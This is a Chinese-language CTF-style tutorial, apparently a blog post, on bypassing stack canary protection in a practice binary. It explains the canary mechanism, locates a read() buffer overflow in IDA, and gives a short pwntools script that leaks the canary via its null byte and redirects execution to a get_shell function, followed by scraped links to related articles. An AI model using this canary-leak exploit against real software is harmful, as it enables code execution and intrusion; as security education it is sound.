目标程序下载

提取码:8ypi

1.检查程序开启了哪些安全保护机制

Canary与NX开启了

Canary机制简介

64位的canary机制,会在函数头部添加:
mov rax,QWORD PTR fs:0x28 //从fs:0x28寄存器中取一个值
mov QWORD PTR [rbp-0x8],rax //写入当前栈帧底部(RBP前方第一个数) 结尾部分添加:
mov rcx,QWORD PTR [rbp-0x8] //把金丝雀值取出
xor rcx,QWORD PTR fs:0x28 //比较与寄存器中的是否一样
je xxxxx //函数正常退出
call 0x400580 <__stack_chk_fail@plt> //__stack_chk_fail()函数功能为报告栈损坏 当前函数栈帧为:
0040| 0x7fffffffe088 --> 0xf383d165ddc4a700 //Canary值
0048| 0x7fffffffe090 --> 0x7fffffffe4c0 //上个函数栈帧的RBP
0056| 0x7fffffffe098 --> 0x4007a1 //上个函数栈帧的RIP
  • Canary值在rbp到rsp之间,(并不一定是rbp-8的位置很长一段时间我认为是在rbp-8位置,[自嘲的笑了笑])
  • Canary值以0x00结尾,如果程序没有漏洞但栈上面刚好是一个满的字符串,这个0x00可以当做截断,避免被打印出来
  • Canary值如果被改写,程序会崩溃

2.在IDA中查找码漏洞与可以被我们利用的位置

可以看到buf只有 0x70-0xc=0x64 的大小,但是read的第三个参数却是0x200,漏洞点找到了

v3这个变量就是Canary的值

而且在IDA中还找到了这么一个函数.....

只要让程序运行到这个函数就ok了,好简单

看一下这个函数的地址

Canary机制怎么绕过?

Canary的值最后两位是0,也就是说是一个字符的大小,如果上面是字符串,写多了一位,刚好把这个00覆盖掉

那么,就能打印出前几位Canary的值,然后在自己的payload中Canary的位置写上这个值,让Canary原来的值与

自己写的值一样,这样在函数结束时的Canary验证函数就不会出错

from pwn import *
p = process("./leak_canary")
get_shell = 0x0804859B
p.recvuntil("Hello Hacker!\n")
offset = 0x70-0xC payload = (offset)*"a" + "b"
p.send(payload) p.recvuntil("ab")
canary = u32(p.recv(3).rjust(4,"\x00"))#得到canary的值 payload2 =(offset)*"a" + p32(canary) + "b"*12 + p32(get_shell)
# payload2= buf + canary + canary到返回地址的大小 + 返回地址 p.send(payload2)
p.interactive()

成功得到shell

Canary机制的绕过的更多相关文章

  1. Linux保护机制和绕过方式

    Linux保护机制和绕过方式 CANNARY(栈保护) ​ 栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行.用C ...

  2. 内存保护机制及绕过方案——利用未启用SafeSEH模块绕过SafeSEH

    前言:之前关于safeSEH保护机制的原理等信息,可在之前的博文(内存保护机制及绕过方案中查看). 利用未启用SafeSEH模块绕过SafeSEH ⑴.  原理分析: 一个不是仅包含中间语言(1L)且 ...

  3. 内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

    1    GS内存保护机制 1.1    GS工作原理 栈中的守护天使--GS,亦称作Stack Canary / Cookie,从VS2003起开始启用(也就说,GS机制是由编译器决定的,跟操作系统 ...

  4. 内存保护机制及绕过方法——通过伪造SEHOP链绕过SEHOP保护机制

    1.1    SEHOP保护机制 1.1.1    SEHOP工作原理: SEHOP保护机制的核心就是检查SEH链的完整性,其验证代码如下: BOOL RtlIsValidHandler(handle ...

  5. 内存保护机制及绕过方法——通过覆盖部分地址绕过ASLR

    ASLR保护机制 ASLR简介 微软在Windows Vista.2008 server.Windows 7.Windows 8等系统的发布中, 开始将ASLR作为内置的系统保护机制运行, 将系统映像 ...

  6. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数

    利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴.  原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...

  7. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数

    1.    DEP内存保护机制 1.1   DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...

  8. 内存保护机制及绕过方法——利用未启用SafeSEH模块绕过SafeSEH

    利用加载模块之外的地址绕过safeSEH 前言:文章涉及的概念在之前的文章中都有过详细的讲解 ⑴.  原理分析: 当程序加载进内存中后,处理PE文件(exe,dll),还有一些映射文件,safeSEH ...

  9. 内存保护机制及绕过方案——从堆中绕过safeSEH

    1.1    SafeSEH内存保护机制 1.1.1    Windows异常处理机制 Windows中主要两种异常处理机制,Windows异常处理(VEH.SEH)和C++异常处理.Windows异 ...

随机推荐

  1. [20170622]传输表空间与dblink.txt

    [20170622]传输表空间与dblink.txt --//测试看看使用dblink+传输表空间的情况.写的情况相对复杂一点,具体看测试: 1.环境:--//2个数据库版本一致.实际上在1台主机上. ...

  2. psotgresql之大小写

    框中内容来自<PostgreSQL数据库对象名大小写敏感> 网址:http://bbs.chinaunix.net/forum.php?mod=viewthread&tid=812 ...

  3. tkinter学习系列之(八) Canvas控件

    目录 目录 前言 (一)carves创建方法 (二)carves的画图方法 目录 前言 由于最近想在tkinter里内嵌matplotlib,由于用到tkinter里的carves控件,先学习一下. ...

  4. NavigationController相关颜色设置

    一.当push进去一个界面后,返回按钮颜色改变: self.navigationController.navigationBar.tintColor = [UIColor whiteColor];

  5. 个人技术博客(α)------javaweb的学习路程

    该博文大致内容是学习的一个过程,心得,并不是以技术博客为主,在此说明. 关于javaweb的学习开始的时间大概是从大二下(2017年6.7月份)的暑假开始的,在学长的介绍下加入了实验室进行学习,由于是 ...

  6. Python 使用 xlwings 往 excel 中写入一行数据的两种方法

    该方法跟上一篇写入一列的方法相反,代码如下: # -*- coding:utf-8 -*- import xlwings as xw list1 = [1,2,3,4,5] list2 = [[1], ...

  7. Lets encrypt安装及配置

    letsencrypt recommend that most people with shell access use the Certbot ACME client.It can automate ...

  8. Springboot 使用 RestTemplate

    每天学习一点点 编程PDF电子书.视频教程免费下载:http://www.shitanlife.com/code spring web 项目提供的RestTemplate,使java访问url更方便, ...

  9. 快速对Mysql添加索引的五个方法

    1.添加PRIMARY KEY(主键索引) mysql>ALTER TABLE `table_name` ADD PRIMARY KEY ( `column` ) 2.添加UNIQUE(唯一索引 ...

  10. typeof与instanceof的区别是什么?

    在javascript中,判断一个变量的类型可以用typeof (1) 数字类型.typeof返回的值是number.比如说:typeof(1),返回值是number (2) 字符串类型,typeof ...